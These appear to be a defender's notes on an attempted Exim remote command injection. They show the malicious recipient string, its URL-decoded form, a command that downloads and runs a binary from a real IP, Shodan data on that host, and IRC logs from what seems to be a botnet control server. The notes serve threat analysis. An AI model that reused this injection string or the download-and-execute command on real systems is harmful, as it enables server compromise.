Origin
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2045.148.10.84\x2fss\x20-Osxs\x3bchmod\x20\x2bx\x20sxs\x3b.\x2fsxs\x22}}@gnr01.servers.sciuro.org>\x -> %
%2Fbin%2Fsh -c %22wget%2045.148.10.84%2fss%20-Osxs%3bchmod%20%2bx%20sxs%3b.%2fsxs%22
URL decode:
/bin/sh -c "wget 45.148.10.84/ss -Osxs;chmod +x sxs;./sxs"
IP research
Shodan
22
tcp
ssh
OpenSSHVersion: 5.3
SSH-2.0-OpenSSH_5.3
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAABIwAAAQEAvyWZgWstpcVr2blRlY/abtcMf0HAHITFE2ZPjZdu9ikzFFtf
AgJrdqEX1JoLXvXH+KpE9GYw+4H+J5/qVaBOmMUsCCZmZBdSgI5Va5ZXD2CcZD95JvpbB7w7Zr0Z
8M32GUPZrrnZY29ZSE0ZeMW6CvcXRH2rU+kEy8cHBaXZjPt6Ng3WXJR1JvVjqPeHQneyOtnw/pGZ
Yxxwyt8xa9ySoKN0dJOCJBKUhjtXmfH0OLHk9eUQUJ0A5r9F8qCW3JEZcPapfNTITF9rA3f57THC
+JuoTNxJgS883m/ljcWZJEeWi9IluUMb5ZDDSh+/EVlfhGHOUC6PJ6n8NHE/TrXqwQ==
Fingerprint: 91:18:7e:69:82:5f:86:6a:ed:a0:1c:c6:38:a7:4a:6c
Kex Algorithms:
diffie-hellman-group-exchange-sha256
diffie-hellman-group-exchange-sha1
diffie-hellman-group14-sha1
diffie-hellman-group1-sha1
Server Host Key Algorithms:
ssh-rsa
ssh-dss
Encryption Algorithms:
aes128-ctr
aes192-ctr
aes256-ctr
arcfour256
arcfour128
aes128-cbc
3des-cbc
blowfish-cbc
cast128-cbc
aes192-cbc
aes256-cbc
arcfour
rijndael-cbc@lysator.liu.se
MAC Algorithms:
hmac-md5
hmac-sha1
umac-64@openssh.com
hmac-sha2-256
hmac-sha2-512
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1-96
hmac-md5-96
Compression Algorithms:
none
zlib@openssh.com
80
tcp
http
Apache httpdVersion: 2.2.15
HTTP/1.1 403 Forbidden
Date: Sun, 29 Mar 2020 01:37:10 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
Content-Length: 4961
Connection: close
Content-Type: text/html; charset=UTF-8
5432
tcp
postgresql
PostgreSQL
PostgreSQL
received invalid response to SSL negotiation: :
8080
tcp
http
Unreal ircd
:irc.evilcode.php NOTICE AUTH :*** Looking up your hostname...
:irc.evilcode.php NOTICE AUTH :*** Found your hostname (cached)
ERROR :Closing Link: [180.25.78.224] (HTTP command from IRC connection (ATTACK?))
9999
tcp
telnet
Unreal ircd
:irc.evilcode.php NOTICE AUTH :*** Looking up your hostname...
:irc.evilcode.php NOTICE AUTH :*** Found your hostname
Servers
IRCD server
[09:08:24] Connecting to [45.148.10.84] on port 8080 [09:08:24] Connection to host established [09:08:25] -irc.evilcode.php- *** Looking up your hostname... [09:08:25] -irc.evilcode.php- *** Couldn't resolve your hostname; using your IP address instead [09:08:25] Welcome to the Don`t Use This ircd IRC Network Guest55!guest55@185.9.18.164 [09:08:25] Your host is irc.evilcode.php, running version Unreal3.2.10.6 [09:08:25] This server was created Sat Mar 7 2020 at 10:20:59 UTC [09:08:25] irc.evilcode.php Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ [09:08:25] AWAYLEN=307 CHANLIMIT=#:10 CHANNELLEN=32 CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS HCN KICKLEN=307 MAXCHANNELS=10 MAXLIST=b:60,e:60,I:60 NAMESX NICKLEN=30 SAFELIST TOPICLEN=307 UHNAMES are supported by this server [09:08:25] CASEMAPPING=ascii CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ CHANTYPES=# ELIST=MNUCT EXTBAN=~,qjncrRa MAXTARGETS=20 MODES=12 NETWORK=Don`t-Use-This-ircd PREFIX=(qaohv)~&@%+ SILENCE=15 WALLCHOPS WATCH=128 WATCHOPTS=A are supported by this server [09:08:25] EXCEPTS INVEX STATUSMSG=~&@%+ are supported by this server [09:08:25] There are 1 users and 9 invisible on 1 servers [09:08:25] 1 operator(s) online [09:08:25] 4 channels formed [09:08:25] I have 10 clients and 0 servers [09:08:25] Current local users 10, max 232 [09:08:25] Current global users 10, max 232 [09:08:25] Message(422): MOTD File is missing [09:08:25] Guest55 sets mode +iwx
Only channel #R
[09:12:07] Guest55 (guest55@2E03481B.742B81C2.C80A0F0D.IP) joined the channel [09:12:07] Mode is +Mmnstu [09:12:18] evil has userhost fld@mfu.txt and real name “.” [09:12:18] evil is in @#R [09:12:18] evil is connected on irc.evilcode.php (Stay OUT BITCH!) [09:12:18] evil is a Network Administrator [09:12:18] evil is available for help. [09:12:18] evil signed on at 31 March 2020 at 19:47:43 CEST and has been idle for 13 hours, 11 minutes, 35 seconds
[09:13:49] Connecting to [45.148.10.84] on port 9999 [09:13:49] Connection to host established [09:13:49] -irc.evilcode.php- *** Looking up your hostname... [09:13:49] -irc.evilcode.php- *** Couldn't resolve your hostname; using your IP address instead [09:13:49] Welcome to the Don`t Use This ircd IRC Network Guest55!guest55@185.9.18.164 [09:13:49] Your host is irc.evilcode.php, running version Unreal3.2.10.6 [09:13:49] This server was created Sat Mar 7 2020 at 10:20:59 UTC [09:13:49] irc.evilcode.php Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ [09:13:49] AWAYLEN=307 CHANLIMIT=#:10 CHANNELLEN=32 CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS HCN KICKLEN=307 MAXCHANNELS=10 MAXLIST=b:60,e:60,I:60 NAMESX NICKLEN=30 SAFELIST TOPICLEN=307 UHNAMES are supported by this server [09:13:49] CASEMAPPING=ascii CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ CHANTYPES=# ELIST=MNUCT EXTBAN=~,qjncrRa MAXTARGETS=20 MODES=12 NETWORK=Don`t-Use-This-ircd PREFIX=(qaohv)~&@%+ SILENCE=15 WALLCHOPS WATCH=128 WATCHOPTS=A are supported by this server [09:13:49] EXCEPTS INVEX STATUSMSG=~&@%+ are supported by this server [09:13:49] There are 1 users and 9 invisible on 1 servers [09:13:49] 1 operator(s) online [09:13:49] 1 unknown connection(s) [09:13:49] 4 channels formed [09:13:49] I have 10 clients and 0 servers [09:13:49] Current local users 10, max 232 [09:13:49] Current global users 10, max 232 [09:13:49] Message(422): MOTD File is missing [09:13:49] Guest55 sets mode +iwx